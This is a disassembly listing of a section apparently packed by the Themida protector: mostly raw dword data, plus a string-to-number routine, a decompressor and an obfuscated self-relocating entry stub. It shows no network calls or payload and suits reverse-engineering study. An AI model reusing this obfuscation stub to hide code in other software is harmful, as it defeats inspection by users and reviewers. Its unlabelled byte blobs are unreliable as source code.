		dd 0AFBB6105h, 8D2E10D7h, 0ED70858Dh, 6AD08B05h, 6AF58A03h
		dd 55006A01h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 8276C749h, 0F523C16h, 575BD9B7h,	2EA59D8Bh
		dd 0FF5A05EAh, 0F28ABAD1h, 16A64D8h, 14E9h, 7CA9AB00h
		dd 0FC6515CDh, 0D328A058h, 4F2E7163h, 98C6702h,	0E9016AD9h
		dd 0Eh,	0F2EC95E3h, 9537D659h, 254A6968h, 0D1FF5D92h, 0CAC38166h
		dd 5EB3E87Ah, 0E960FA71h, 0Dh, 89DF5303h, 0FAC3B3F4h, 95EE7123h
		dd 999D3149h, 6105EA0Dh, 9D8B206Ah, 5EA0F29h, 0BD89FF6Ah
		dd 5EA07C5h, 299995FFh,	9D8905EAh, 5EA17D5h, 0B8h, 0C9B96000h
		dd 0F179D3Ch, 0E961DBBFh, 6, 4413495Fh,	0C00BBF41h, 4C840Fh
		dd 8E0F0000h, 14h, 0FE9h, 5661F100h, 4054B678h,	389C0A7Eh
		dd 97DD20B5h, 23E9BD83h, 0F0005EAh, 2584h, 17BA6600h, 6D95FF7Dh
		dd 0E805EA08h, 0Fh, 2DB9E47Dh, 0D807A8B2h, 68B5F0F4h, 8B2D3F89h
		dd 0EA23C195h, 858B5B05h, 5EA0C95h, 68A0Fh, 9D330000h
		dd 5EA0C59h, 6A0000C6h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F8D3C355h,	75623B7Fh
		dd 47E2A479h, 0CC22F8BAh, 7BB75868h, 6AD98C66h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 6B03C350h, 0E456E5F4h, 0B1958B18h, 0E905EA1Bh, 9, 0C3420220h
		dd 67E60E7Bh, 4C1F610h,	54840Fh, 0DE80000h, 0E7000000h
		dd 0C4C3A563h, 7E4609A3h, 8BF1B4B0h, 1BF19589h,	0E95B05EAh
		dd 36h,	0B58B7DB7h, 5EA00F5h, 68A0Fh, 9D890000h, 5EA0FD9h
		dd 0C681DF8Bh, 1180h, 6800Fh, 95890000h, 5EA0EADh, 6C7h
		dd 0B70F0000h, 0D674BBD0h, 6A5E50BBh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0F086C355h
		dd 0C38166B7h, 0F883402Fh, 0A4840F00h, 8B00000Bh, 1F883D3h
		dd 186850Fh, 0CB810000h, 4000DC92h, 11BCDB81h, 0B84CACh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 5AF7C355h, 0B72E29ECh,	0AE87F2Ah
		dd 9C000000h, 0F216506Dh, 0CE1E094Bh, 5BF0B299h, 30499D8Bh
		dd 0C00B05EAh, 0BA840Fh, 89600000h, 0EA0EA595h,	0D0816605h
		dd 83617D57h, 840F01F8h, 0D8h, 0F137DA81h, 0F88330F8h
		dd 33840F03h, 0BA000000h, 0EEB636h, 0B8h, 5B58900h, 0B705EA03h
		dd 74BD8D03h, 0E9005B79h, 0Eh, 1FA091Fh, 0ED75BEECh, 6ED93880h
		dd 0E7FFB6BFh, 3259D89h, 1B805EAh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0C018C353h, 0BD89E064h, 5EA32A1h, 74BD8DF8h,	6A005B79h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 2E8FC356h, 0A997073Dh, 9D0953A0h,	5EA095Dh
		dd 9D8BE7FFh, 5EA0EFDh,	4243BD8Dh, 6A05EAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 305466C3h
		dd 27340F98h, 288E979h,	8D890000h, 5EA314Dh, 4C1285C7h
		dd 505EAh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0B92185C3h, 9D23D18Bh, 5EA2F4Dh
		dd 0B8D68B66h, 5, 0E9F5DB80h, 903h, 3B1DBA66h, 0F02F883h
		dd 9485h, 0A99D8B00h, 6605EA11h, 3F23C381h, 0B8h, 0FC00B00h
		dd 5884h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0BB50E546h, 7617362Ch, 0F01F883h, 0FFFF6F84h, 6E9FFh
		dd 0B10C0000h, 0BF03B48Ah, 0F03F883h, 0FFFEC584h, 0F4EA80FFh
		dd 0B8h, 8D55B700h, 5B7974BDh, 0FD8AFC00h, 0BF0FE7FFh
		dd 3BBD8DD0h, 0E905EA44h, 0Eh, 0CCD11BBFh, 464DF6FAh, 660BC8FAh
		dd 0A7E9AB94h, 89000001h, 0EA00ADBDh, 3F88305h,	71850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 665CCEC3h, 0D30CD281h, 0BD8D98B7h, 5EA45CFh
		dd 11E9h, 0CA712700h, 0C772C3EBh, 210AA99h, 89118BD2h
		dd 53E9F8E6h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 9D04C353h, 0F9CE5BAh
		dd 58Eh, 2230BB00h, 83F80C2Bh, 850F05F8h, 10h, 0C4E38166h
		dd 7D5E976h, 0D2810000h, 37D829FEh, 0F06F883h, 6385h, 8E86000h
		dd 9000000h, 5BB02BB6h,	89F3AB69h, 0EA25999Dh, 85895F05h
		dd 5EA1CD5h, 0C7BD8D61h, 8B05EA47h, 6E8D1h, 2ED80000h
		dd 3CF504B0h, 0E95A8BB3h, 0CEh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0F0C35747h,	0DF6E3956h, 4D9D8B3Ah
		dd 6605EA29h, 37A0C281h, 0F07F883h, 2C85h, 0C1958B00h
		dd 8B05EA28h, 0EA006995h, 0FDBD8D05h, 0B705EA20h, 5E8D4h
		dd 0AA290000h, 0F297440h, 0E95BD8B7h, 16Dh, 51EA8166h
		dd 0AF883F4h, 64850Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 8D39FC3h, 3AD078A0h
		dd 0FD9B70Fh, 681h, 419D8B00h, 8D05EA12h, 0EA49BFBDh, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0E99C91D2h, 0E95DE860h, 6, 2AA1958Bh, 8B5705EAh, 0EA32A99Dh
		dd 0F987B905h, 6A06CEh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0E8A30FC3h, 12h,	0FBA3EE17h, 80DBC2DCh
		dd 0F47B71E6h, 0BEADDB75h, 9D8B3CC4h, 5EA2391h,	6870F5Ah
		dd 29000000h, 0EA1025B5h, 3F8305h, 9A840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 3AF38EC3h, 7C9827ADh, 46554FBAh, 6A0F3024h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 68AEC352h, 9A99D798h, 0BD78E356h, 6AC9D1h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 936EA5C3h
		dd 0E966B747h, 0FFFFFF81h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0E3C35545h, 814C785Ch, 0B0EC698h, 0BF0FF85Fh
		dd 0BBBD89D2h, 8B05EA4Bh, 0D8D8DDEh, 6A05EA24h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0F34FC353h, 438CE125h, 2E7DB5FFh, 6A05EAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 187D96C3h
		dd 12E9A0h, 5DB0000h, 88873A0Dh, 89C0D317h, 0CE1A36C7h
		dd 453465DDh, 858D29B7h, 5ECD7DFh, 0FDBD8D50h, 8D05EA52h
		dd 0EA6DD38Dh, 1ABCB805h, 0CF2B5483h, 0C8D00730h, 0F8754947h
		dd 6D47B58Dh, 8D8D05EAh, 5EA6DEBh, 0A4F3CF2Bh, 0B8C933h
		dd 0B000000h, 834674C0h, 0EA23E9BDh, 6740005h, 86D95FFh
		dd 0B58B05EAh, 5EA4BBBh, 0D7DF858Dh, 0D0FF05ECh, 41D8858Dh
		dd 0D0FF05EAh, 20CD85C7h, 105EAh, 0A58B0000h, 5EA1D71h
		dd 1D8DB58Bh, 0AD8B05EAh, 5EA0BCDh, 0CC2C033h, 5E900h
		dd 0F0640000h, 0E9480EC5h, 5, 0A2513BA4h, 0B5BD834Bh, 5EA02h
		dd 27840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0FFDDB0C3h, 0EA125595h, 83BB6605h
		dd 0D1BD83A9h, 5EA1Ch, 1A7850Fh, 0F600000h, 680h, 0C1B58900h
		dd 0BA05EA02h, 64D8A797h, 0D1BD8361h, 105EA02h,	187850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 503ADCC3h, 6D958B1Dh, 8305EA0Ch, 0EA1CE1BDh
		dd 840F0005h, 155h, 8BD6E680h, 0EA2D059Dh, 0EBD8305h, 5EA4Ch
		dd 13F840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0EDC7C6C3h, 0AFB01FCAh, 0AD958B51h
		dd 8D05EA11h, 0ECD7DF85h, 5E805h, 204D0000h, 8BB57EC5h
		dd 0EA05BD95h, 0B58B5B05h, 5EA4BBBh, 0FFD38B66h, 52006AD0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0F504F5Dh, 689h, 81CA8100h, 5B63B0F3h, 1A4585C6h, 0BA5405EAh
		dd 0A5A6C94h, 9E9h, 79E9F700h, 423883A0h, 9568B5D1h, 50C613C0h
		dd 0D08B6652h, 8B66310Fh, 81585ADEh, 7E612434h,	0FA8A395Dh
		dd 0DE49EB81h, 0B5FF1244h, 5EA1D45h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 3AC35242h, 8B597E81h, 0EA030D95h
		dd 69858D05h, 8B05EA39h, 33D0FFDEh, 0EA15219Dh,	0F006A05h
		dd 284h, 6AD88A00h, 0B70F50FFh,	0D0FF5BD6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3AC35747h, 0BEDB8129h
		dd 0FF682137h, 0EA0B51B5h, 68E0F05h, 1000000h, 0EA095D85h
		dd 7D95FF05h, 8905EA2Eh, 0EA16FD8Dh, 0BBB58B05h, 0F05EA4Bh
		dd 68Ch, 79958900h, 0C305EA00h,	11890Fh, 0CE90000h, 54000000h
		dd 9D84F6E3h, 6D96B73Ah, 8B7FE8B2h, 0EA0C95B5h,	0B91B205h
		dd 2E840FF6h, 50000000h, 1571958Bh, 0E85A05EAh,	0Fh, 39D258EEh
		dd 9DB663A2h, 4C9AEF64h, 0BBF334ABh, 2DEBAA0Eh,	6C65Ah
		dd 89D88B66h, 0EA02C99Dh, 0C3858905h, 8B05EA4Bh, 0F883DEh
		dd 375840Fh, 0B80000h, 66000000h, 9589D68Bh, 5EA07E9h
		dd 0F00F883h, 0D784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 96593272h, 1517FA4Fh
		dd 0C98D2987h, 8305EA2Ah, 850F02F8h, 84h, 2EFDBD09h, 858D05EAh
		dd 5EA423Eh, 2ACDDA81h,	292D1ECCh, 6A000009h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 4799C356h, 8B8E34D8h, 0EA1DF99Dh, 8C0F9005h,	4, 42FCBA66h
		dd 4EBA6650h, 6A9074h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 55BA6DC3h, 0D3FCE655h, 0CB809C57h
		dd 819D2382h, 0C305EA0Fh, 0BAF0CE80h, 47CF7B95h, 0B8h
		dd 0D5EB8100h, 0E952863Ah, 297h, 91E1CA81h, 5E92B04h, 0BF000000h
		dd 55B60BF8h, 1B8h, 14E900h, 51BF0000h,	0E6E17FFEh, 5DA4A2C0h
		dd 2F299FA2h, 0BB6B4803h, 0F7803DBFh, 43BD8D0Eh, 6605EA42h
		dd 0F3C1ABAh, 8CE9D0B7h, 66000000h, 83019BBBh, 850F02F8h
		dd 20h,	443BBD8Dh, 8E0F05EAh, 0Ch, 6880Fh, 0B5890000h
		dd 5EA1BE9h, 62E9h, 0B2C28000h,	0F03F883h, 3C85h, 9D8B5300h
		dd 5EA20B1h, 0CFBD8D5Ah, 6A05EA45h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1AB0C355h
		dd 0FDA8B78h, 20E9DFB7h
		dd 8B000000h, 0EA03319Dh, 5F88305h, 11850Fh, 9D8B0000h
		dd 5EA0635h, 0BAE9h, 0C1958B00h, 5705EA09h, 0B9DF8B66h
		dd 6CEF987h, 0FE8h, 0AFC35600h,	7638872Ah, 0ED5926Dh, 843825D8h
		dd 4E10BB66h, 5E95Ah, 0AF8B0000h, 83726E42h, 840F003Fh
		dd 7Fh,	30D6BF0Fh, 3DB5290Fh, 0D105EA17h, 618D89C9h, 4705EA12h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B9C35242h
		dd 0FC75F730h, 2E55EDC8h, 8E82Bh, 0DB290000h, 9D4901A1h
		dd 5E900ADh, 0CD000000h, 0DFD28ED1h, 958B535Bh,	5EA12CDh
		dd 0FF99E95Bh, 6AFFFFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0C1A589C3h, 83D78B66h, 850F05F8h
		dd 10Bh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	3FC35040h, 29EA80ABh, 6AD98C66h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 8D43C350h
		dd 8B56C2C9h, 0EA2EA595h, 81665B05h, 896A0BF2h,	0EA02B195h
		dd 4C1F605h, 58850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 5B3892C3h, 0CDD1DB81h
		dd 0B839E2h, 0F000000h,	583h, 0CA816600h, 74E90837h, 0F000000h
		dd 1989h, 11E800h, 75AA0000h, 5F754031h, 0A43E7AADh, 473DEE69h
		dd 6048A2FCh, 858B5B61h, 5EA1439h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 77C35646h, 92DF4B3h, 0EA31499Dh
		dd 0E9E0FF05h, 13h, 83E9116Bh, 4C4DF493h, 0C4DE6844h, 185A0B5Ch
		dd 608EC807h, 0BD858B57h, 5E05EA06h, 2ACDB58Bh,	836105EAh
		dd 0EA2E7DBDh, 850F0005h, 143h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 28C35545h, 6B04006h, 0D89AE318h
		dd 0F605091h, 84h, 0F525000h, 5AD38B31h, 4896158h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0A2CF3061h, 9523F429h, 5EA1D39h, 1A098D89h, 64BB05EAh
		dd 0C66BF97Ch, 0EA1A4585h, 0F504505h, 682h, 6DB8100h, 5A5A89D2h
		dd 4E8F9h, 69690000h, 60608E72h, 0FE9h,	0A11AAB00h, 0F3651212h
		dd 618B3DBh, 80D4ACB0h,	0BE8h, 9D50BA00h, 0F685232Eh, 0B2B1A486h
		dd 5061615Ah, 13E9h, 0C1206900h, 0B111A38Ch, 0B9487115h
		dd 9DEB8C09h, 0C2C7E587h, 424448Bh, 4991BB66h, 8B66008Bh
		dd 244489DEh, 584CB704h, 0B5FFD98Bh, 5EA1D45h, 14E9h, 585FBA00h
		dd 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh, 0F10547BCh, 69858D8Ah
		dd 0F05EA39h, 386h, 0D9BF0F00h,	0B589D0FFh, 5EA2995h, 2E7D8589h
		dd 860F05EAh, 6, 14D19503h, 0E95805EAh,	13h, 20A02002h
		dd 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h, 830E7C14h, 0EA4C12BDh
		dd 840F0005h, 69h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0B8C35242h, 668E07AEh, 290D87BBh, 0EA02818Dh
		dd 51B5FF05h, 6A05EA0Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 972BC350h, 51C2C2ADh
		dd 958BB90Bh, 5EA28C1h,	2E03F281h, 95FF3EBCh, 5EA2E7Dh
		dd 29E28166h, 0F883F4h,	0EA850Fh, 0BD890000h, 5EA05F5h
		dd 0FFDBD83h, 0F0005EAh, 6C84h,	0D8B70F00h, 0FFDB5FFh
		dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 666320C3h, 1B8D78Bh, 3000000h, 0EA1C1D95h
		dd 15958B05h, 0E905EA0Bh, 230h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0DEC35747h,	0F1FA59CEh, 8E9h
		dd 5864B800h, 0ED2C5878h, 51B5FFD1h, 8905EA0Bh,	0EA300595h
		dd 51B5FF05h, 105EA0Bh,	0EA2ED5BDh, 7D958B05h, 0FF05EA05h
		dd 0EA2E7DB5h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0BF74BEDDh, 153A0B7Ch
		dd 0B5E9B82Ch, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0FC88C350h,	9D9D315Fh
		dd 8305EA11h, 0EA02F9BDh, 850F0005h, 0DAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 71C35040h, 0FC44F57Ch
		dd 108F0Fh, 0BE90000h, 27000000h, 3FE52F9Bh, 43542769h
		dd 85C63DF4h, 5EA1A45h,	8E94Dh,	0FC410000h, 0D916F994h
		dd 0DB80CFACh, 4E804h, 76A80000h, 10E8A435h, 59000000h
		dd 0F529C55Dh, 9CF791CFh, 0CB4BE497h, 66D3DE31h, 5B27C9BAh
		dd 8BD78A50h, 0E8042444h, 7, 0B5FFDB6Fh, 0BB69DADDh, 2FD5B884h
		dd 0E8008B5Ah, 9, 3E8CA6BAh, 0C8719546h, 880F60C8h, 0
		dd 5B6199B7h, 4244489h,	6658A2B6h, 9D8BD68Bh, 5EA0BC5h
		dd 1C8DB5FFh, 952905EAh, 5EA2B15h, 3969858Dh, 0BA6605EAh
		dd 0D0FF8426h, 85895AB6h, 5EA02F9h, 32FDB589h, 0B805EAh
		dd 66000000h, 0BDA8D281h, 4BBBBD89h, 0BF0F05EAh, 0FC00BD7h
		dd 6B84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0F25D44Fh, 0F85h,	0AE900h, 3E030000h
		dd 0B6E9EAF3h, 90EEF2CBh, 418D8960h, 905EA2Ch, 0EA33019Dh
		dd 49E96105h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 572C357h, 657EF57Eh
		dd 9FB70E57h, 2E7DB5FFh, 5EBA05EAh, 8B137376h, 0DF858DD7h
		dd 0F05ECD7h, 0B690D2BFh, 8B66509Dh, 0BD8990D9h, 5EA2C11h
		dd 0BD8D5650h, 5EA52FDh, 788C8D8Dh, 0BCB805EAh,	2B748323h
		dd 0D00730CFh, 754947C8h, 83585EF8h, 0EA0FFDBDh, 6740005h
		dd 2B2D8D8Bh, 0C93305EAh, 0B8h,	0FC00B00h, 9984h, 0E9BD8300h
		dd 5EA23h, 95FF0674h, 5EA086Dh,	0B8h, 75C00B00h, 0C3BD8309h
		dd 105EA4Bh, 0BD830974h, 5EA4BC3h, 8B0E7502h, 0EA4BBBB5h
		dd 0DF858D05h, 0FF05ECD7h, 0D8858DD0h, 0FF05EA41h, 0C9BD83D0h
		dd 205EA0Fh, 0A58B2F75h, 5EA1D71h, 0FFD858Bh, 48905EAh
		dd 0CD85C724h, 105EA20h, 8B000000h, 0EA4BBFB5h,	0CDAD8B05h
		dd 0B805EA0Bh, 1, 0EB000CC2h, 0CD85C700h, 105EA20h, 8B000000h
		dd 0EA1D71A5h, 8DB58B05h, 8B05EA1Dh, 0EA0BCDADh, 0C2C03305h
		dd 0BD83000Ch, 5EA02B5h, 830F7400h, 0EA1255BDh,	6740005h
		dd 125595FFh, 0B58B05EAh, 5EA4BBBh, 6D9D31C3h, 6605EA0Dh
		dd 2B6EBCBBh
		db 0D2h, 8Bh, 0D3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5483F3
; ---------------------------------------------------------------------------

loc_5483F1:				; CODE XREF: Themida_:005483F6j
		inc	eax
		inc	edi

loc_5483F3:				; CODE XREF: Themida_:005483EFj
		cmp	byte ptr [edi],	0
		jnz	short loc_5483F1
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_548422
; ---------------------------------------------------------------------------

loc_5483FF:				; CODE XREF: Themida_:00548424j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_548417
; ---------------------------------------------------------------------------

loc_548414:				; CODE XREF: Themida_:0054841Aj
		mul	ebx
		dec	esi

loc_548417:				; CODE XREF: Themida_:00548412j
		cmp	esi, 0
		ja	short loc_548414
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_548422:				; CODE XREF: Themida_:005483FDj
		or	eax, eax
		jnz	short loc_5483FF
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 0AE9h, 7D7EBD00h, 0A67EC4F0h, 0BBB14C88h, 749D897Bh
		dd 0ADE9C18Bh, 60000001h, 2424748Bh, 28247C8Bh,	8A80B2FCh
		dd 7884606h, 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h
		dd 0FFFFE283h, 0FD202FFh, 585h,	46168A00h, 830FD212h, 6Ah
		dd 0D202C033h, 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h
		dd 5850Fh, 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh
		dd 4707885Fh, 2BBh, 0FF70E900h,	1B8FFFFh, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh
		dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h
		dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h
		dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh
		dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h
		dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h,	1784h
		dd 2D18300h, 8B56E88Bh,	0F3F02BF7h, 1BB5EA4h, 0E9000000h
		dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 5196E900h
		dd 0FF680002h, 57720012h, 2 dup(5C64005Bh), 5Bh, 280000h
		dd 3F025Ah, 246025Ah, 20000h, 10000h, 30000h, 0A690000h
		dd 0FA6Ah, 4 dup(0)
		dd 0E2340000h, 0DEDA0054h, 0BC7C0054h, 9E840054h, 4BA00054h
		dd 0B9A60055h, 4AFC0054h, 0CC2F0055h, 0FE4C0054h, 0C20A0054h
		dd 24D60054h, 0DFA80055h, 8CD20054h, 448A0054h,	0F03E0055h
		dd 0BE8F0054h, 0E2B70054h, 38310054h, 0E3DE0055h, 96F00054h
		dd 0FF920054h, 0DC670054h, 8EEF0054h, 0E7520054h, 9EFF0054h
		dd 17810054h, 0A5060055h, 0CDD80054h, 30700054h, 0BC320055h
		dd 98430054h, 2DD0054h,	43DE0055h, 0C2C90055h, 9D1F0054h
		dd 0A08A0054h, 0E7860054h, 0DFFE0054h, 4AE10054h, 35790055h
		dd 8BC70055h, 3B0C0054h, 0EC6C0055h, 36540054h,	0F6760055h
		dd 1E3E0054h, 0AE920055h, 21640054h, 0EDAD0055h, 25670054h
		dd 3B190055h, 0B36F0055h, 0CF890054h, 0CDD20054h, 0AFD0054h
		dd 51D10055h, 1E5D0055h, 65D0055h, 98190055h, 90D70054h
		dd 52A60054h, 8A220055h, 5AC10054h, 304B0055h, 53500055h
		dd 0B0950055h, 9B70054h, 2BC90055h, 0BB770055h,	10860054h
		dd 0C14D0055h, 46980054h, 16410055h, 96490055h,	2FDE0054h
		dd 0BDBE0055h, 0EBC10054h, 0A00B0054h, 0BB3A0054h, 0AF670054h
		dd 0D07D0054h, 0E5590054h, 3F100054h, 0CF760055h, 0DE3E0054h
		dd 0C9020054h, 0D43D0054h, 0B5020054h, 0D6320054h, 0F4910054h
		dd 2AC50054h, 50960055h, 42E00055h, 53EB0055h, 2BD80055h
		dd 89CB0055h, 5C960054h, 0D5BC0055h, 0C6470054h, 22E50054h
		dd 0B4250055h, 0E7660054h, 95F70054h, 0C86C0054h, 0A84F0054h
		dd 9230054h, 33A40055h,	0EEB30055h, 0E0E90054h,	5D140054h
		dd 25500055h, 0FAEA0055h, 0C0070054h, 374A0054h, 1B2A0055h
		dd 941B0055h, 0A7770054h, 0C0210054h, 0B9480054h, 11F70054h
		dd 2C540055h, 45EB0055h, 481F0055h, 0A1E20055h,	8DEC0054h
		dd 0A65D0054h, 228A0054h, 0C790055h, 93FD0055h,	3D870054h
		dd 156D0055h, 0CD620055h, 0F260054h, 0F2B50055h, 0A8F70054h
		dd 0C8A20054h, 27A20054h, 0C8510055h, 0D8440054h, 0F08B0054h
		dd 27FF0054h, 0AEEA0055h, 18100054h, 0C52A0055h, 0E16C0054h
		dd 0ADA80054h, 0FCC50054h, 0DBA40054h, 9C640054h, 0B2210054h
		dd 54A10054h, 46090055h, 1ED40055h, 97B90055h, 5B9C0054h
		dd 13E00055h, 16080055h, 0B7EE0055h, 4E3C0054h,	23670055h
		dd 0D6DE0055h, 1DBA0054h, 8A5F0055h, 0C17B0054h, 0DFC0054h
		dd 0A1750055h, 8CF20054h
		db 54h,	0
; ---------------------------------------------------------------------------

loc_5488E2:				; CODE XREF: Themida_:00578BA6j
					; Themida_:0057ACC5j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5EA7E81h
		mov	eax, edi
		add	edi, 5EA7B99h
		cmp	eax, [edi+2Ch]
		jnz	short loc_548900
		jmp	short loc_548913
; ---------------------------------------------------------------------------

loc_548900:				; CODE XREF: Themida_:005488FCj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54890F
; ---------------------------------------------------------------------------

loc_54890A:				; CODE XREF: Themida_:00548911j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_54890F:				; CODE XREF: Themida_:00548908j
		or	ecx, ecx
		jnz	short loc_54890A

loc_548913:				; CODE XREF: Themida_:005488FEj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_548920:				; CODE XREF: Themida_:00548927j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_548920

loc_548929:				; CODE XREF: Themida_:00548A69j
					; Themida_:005493D0j ...
		lodsb
		jmp	loc_54F7B1
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 4C39E9h,	4CE46800h, 0EAE90000h, 0BF0000C8h
		dd 22EF07B9h, 0B095EF81h, 0E1E9EE2Fh
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548953:				; CODE XREF: Themida_:0054EE89j
		push	eax
		mov	eax, 4E4C45F8h
		shr	eax, 6
		jmp	loc_54B125
; ---------------------------------------------------------------------------
		db 58h,	51h, 0B9h
		dd 4, 2767BE56h, 0F001229Ch, 2DC8015Eh,	229C2767h, 36ECE9h
		dd 240C8B00h, 0C8B5451h, 4C48324h, 4A37BB53h, 0E3811F76h
		dd 1BDE680Ch, 0CABBE9h
		db 0
; ---------------------------------------------------------------------------

loc_548999:				; CODE XREF: Themida_:00549AF5j
		mov	esi, 653939EFh
		xor	ebp, esi
		pop	esi
		jmp	loc_55556A
; ---------------------------------------------------------------------------

loc_5489A6:				; CODE XREF: Themida_:005526ACj
		sub	edi, 4503AE3h
		add	edi, 4354084Eh
		jmp	loc_54E330
; ---------------------------------------------------------------------------
		db 0Fh
